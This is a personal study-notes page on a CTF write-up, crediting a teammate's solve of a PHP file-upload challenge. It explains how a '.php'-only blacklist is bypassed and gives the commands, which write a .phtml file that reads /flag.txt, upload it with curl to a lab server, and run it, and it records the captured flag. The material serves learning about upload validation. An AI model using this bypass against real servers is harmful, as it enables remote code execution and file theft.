THE GARDEN

upload-review

Updated 20 Sep 2026

• •

  Attribution

  • •

    Solved by Fauzi Ismail during the competition. These are rn’s study notes based on the teammate’s documented solve, not an independent rn solve.

• •

  What it asked

  • •

    Review a PHP upload filter and demonstrate why blocking only the exact .php suffix is insufficient.

• •

  Approach

  • •

    The filter used pathinfo but rejected only ext === 'php'. The lab server also executed another PHP-associated extension, so the blacklist and server behavior disagreed.

  • •

    The solve used a minimal .phtml file that read the challenge flag, then requested the uploaded path.

• •

  Solution

  • •

    printf '%s\n' '<?php readfile("/flag.txt"); ?>' > kmipn8.phtml
    curl -sF 'file=@kmipn8.phtml' http://10.0.100.6:8080/upload
    # Request the uploaded URL returned by the application.
    

• •

  Verification

  • •

    The team document records successful execution in the isolated lab. The endpoint was not replayed.

• •

  Concepts

  • •

    File-upload validation; extension allowlists; server handler configuration; unrestricted upload.

• •

  Source

  • •

    Source: team document KMIPNVIII-unintended.docx, titled “Writeup unintended KMIPN 8 Final”. Page numbers refer to the rendered document. Rendered pp. 24–27.

  • •

    Flag: KMIPN8{extension_filters_are_not_enough}.

◌ Explore connections in Graph view